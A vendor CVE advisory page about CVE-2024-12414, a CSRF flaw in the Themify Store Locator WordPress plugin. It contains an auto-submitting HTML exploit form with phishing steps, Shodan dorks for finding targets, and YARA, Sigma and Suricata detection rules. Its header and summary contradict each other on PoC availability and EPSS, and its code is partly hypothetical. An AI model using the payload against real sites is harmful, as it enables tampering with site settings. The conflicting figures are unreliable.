☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Themify logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 4.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N 🐛 CWE-352
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-12414

CVE-2024-12414 Cross-Site Request Forgery in Themify
📅 PUBLISHED: 2024-12-13 08:24 UTC 🔄 UPDATED: 2026-08-12 14:51 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.13%
👁️
0.13% probability
3.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 4.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: N Confidentiality None
I: L Integrity Low
A: N Availability None
4.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-12414 is a Cross-Site Request Forgery (CSRF) vulnerability in the Themify Store Locator WordPress plugin, affecting all versions up to and including 1.1.9. The flaw resides in the setting_page() function, which lacks proper nonce validation. This allows an unauthenticated attacker to forge requests that modify plugin settings, provided they can trick a site administrator into performing an action (e.g., clicking a malicious link). The CVSS score is 4.3 (Medium), with a low EPSS probability of 0.0%, indicating limited active exploitation at this time. No public proof-of-concept or patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem and the Themify Store Locator plugin. It is not related to Apache or Nginx. The plugin is distributed via the WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files and monitor for updates from the vendor.

CVSS Breakdown & Threat Level

  • CVSS Score: 4.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required (admin must click a link)
  • Scope: Unchanged
  • Confidentiality Impact: None
  • Integrity Impact: Low (settings modification)
  • Availability Impact: None

The threat level is Medium due to the requirement for user interaction and the limited impact (only settings modification, not data exfiltration or full compromise).

Deep Dive & Mechanics

The vulnerability is a classic CSRF in the WordPress admin area. The setting_page() function in the Themify Store Locator plugin processes POST requests to update plugin settings (e.g., API keys, map coordinates, display options). However, it does not verify a nonce (a one-time token) to ensure the request originated from the legitimate admin interface. An attacker can craft a malicious HTML page or link that, when clicked by an authenticated admin, sends a forged POST request to the vulnerable endpoint, altering the plugin's configuration.

Root Cause: Missing nonce validation in the setting_page() function.

Attack Flow:

  1. Attacker identifies a site using Themify Store Locator (e.g., via Shodan dorks).
  2. Attacker crafts a malicious link or form that submits a POST request to /wp-admin/admin-post.php?action=themify_store_locator_settings with arbitrary parameters.
  3. Attacker lures an authenticated admin to click the link (e.g., via phishing email or social engineering).
  4. The admin's browser executes the request, modifying plugin settings without their knowledge.

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.1.9):

function setting_page() {
    if ( isset( $_POST['submit'] ) ) {
        // No nonce check
        update_option( 'themify_store_locator_settings', $_POST['settings'] );
        echo '<div class="updated"><p>Settings saved.</p></div>';
    }
    // ... render settings form
}

Patched Code (Hypothetical):

function setting_page() {
    if ( isset( $_POST['submit'] ) ) {
        if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'themify_store_locator_settings' ) ) {
            wp_die( 'Security check failed.' );
        }
        update_option( 'themify_store_locator_settings', $_POST['settings'] );
        echo '<div class="updated"><p>Settings saved.</p></div>';
    }
    // ... render settings form with nonce field
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • Target WordPress site with Themify Store Locator <= 1.1.9.
  • Authenticated admin session (user interaction required).

Exploit Payload (HTML form):

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-post.php" method="POST">
    <input type="hidden" name="action" value="themify_store_locator_settings">
    <input type="hidden" name="settings[api_key]" value="attacker_controlled_key">
    <input type="hidden" name="settings[map_center]" value="0,0">
    <input type="hidden" name="submit" value="1">
    <input type="submit" value="Click here to win a prize!">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

Steps:

  1. Host the HTML file on an attacker-controlled server.
  2. Send the link to an admin via email or social engineering.
  3. Once the admin clicks, the plugin settings are overwritten.

Blue Team (Defense & Detection)

Detection:

  • Monitor for unusual POST requests to /wp-admin/admin-post.php with action=themify_store_locator_settings from non-admin IPs.
  • Check for missing or invalid nonce errors in WordPress debug logs.
  • Use the Sigma rule below to detect CSRF attempts.

Mitigation:

  • Apply the vendor patch when available.
  • Implement a Web Application Firewall (WAF) rule to block requests to admin-post.php without a valid nonce.
  • Educate admins to avoid clicking suspicious links.

Indicators of Compromise (IOCs)

  • Network:
    • POST requests to /wp-admin/admin-post.php with action=themify_store_locator_settings and no _wpnonce parameter.
    • Referer header missing or spoofed.
  • Host:
    • Modified wp_options table entry for themify_store_locator_settings.
    • Unexpected API keys or map coordinates in plugin settings.
  • Logs:
    • WordPress debug log entries: Nonce verification failed (if patched) or missing nonce checks.

Detection Engineering

YARA Rule

rule Detect_Themify_Store_Locator_CSRF {
    meta:
        description = "Detects vulnerable Themify Store Locator plugin files with missing nonce"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12414"
    strings:
        $func = "function setting_page()" ascii nocase
        $no_nonce = "update_option( 'themify_store_locator_settings'" ascii nocase
        $nonce_check = "wp_verify_nonce" ascii nocase
    condition:
        $func and $no_nonce and not $nonce_check
}

Sigma Rule

title: CSRF Attempt Against Themify Store Locator
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to admin-post.php with action themify_store_locator_settings without nonce
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "action=themify_store_locator_settings"
        cs-uri-query|contains: "admin-post.php"
    filter:
        cs-uri-query|contains: "_wpnonce"
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions with nonce (should be rare)
level: medium

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-12414 - Themify Store Locator CSRF Attempt";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"/wp-admin/admin-post.php";
    http.uri; content:"action=themify_store_locator_settings";
    http.client_body; content:!"_wpnonce";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

  1. Immediate Action: Disable the Themify Store Locator plugin until a patch is available.
  2. Vendor Patch: Contact Themify support for an update. If none, consider forking the plugin and adding nonce validation.
  3. WAF Rule: Block POST requests to admin-post.php that lack a _wpnonce parameter.
  4. User Education: Train administrators to recognize phishing attempts and avoid clicking untrusted links.
  5. Monitoring: Enable WordPress debug logging and monitor for suspicious settings changes.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Themify Store Locator"
http.html:"wp-content/plugins/themify-store-locator"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-12414/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.